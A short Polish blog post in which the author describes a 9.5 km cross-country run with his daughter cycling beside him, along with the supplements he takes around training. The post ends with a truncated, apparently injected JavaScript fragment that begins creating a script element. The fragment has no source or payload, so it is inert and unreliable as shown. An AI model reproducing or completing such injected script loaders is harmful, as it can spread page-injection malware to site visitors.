Mój trening-cross biegowy

17.10.2010 / Mariusz Cieśliński

Na jednym z treningów towarzyszyła mi córka -Julia.Niedawno nauczyła się jezdzic na rowerze i stąd nasz wspólny wypad w teren.Gps pokazywał ,że zrobiliśmy razem 9,5 km po kamienistej i niewygodnej drodze.Dla mnie taki trening to forma rozluznienia jak i jednocześnie kontrola wagi.Przed bieganiem jak zawsze wrzucam L-karnitynę Gold z lipoXpackiem,Bcaa-g force.Po biegu isolite 100 % whey protein.Złota polska jesień,piękna pogoda i teren to naprawdę świetny kompan na  treningu.var d=document;var s=d.createElement('script'); }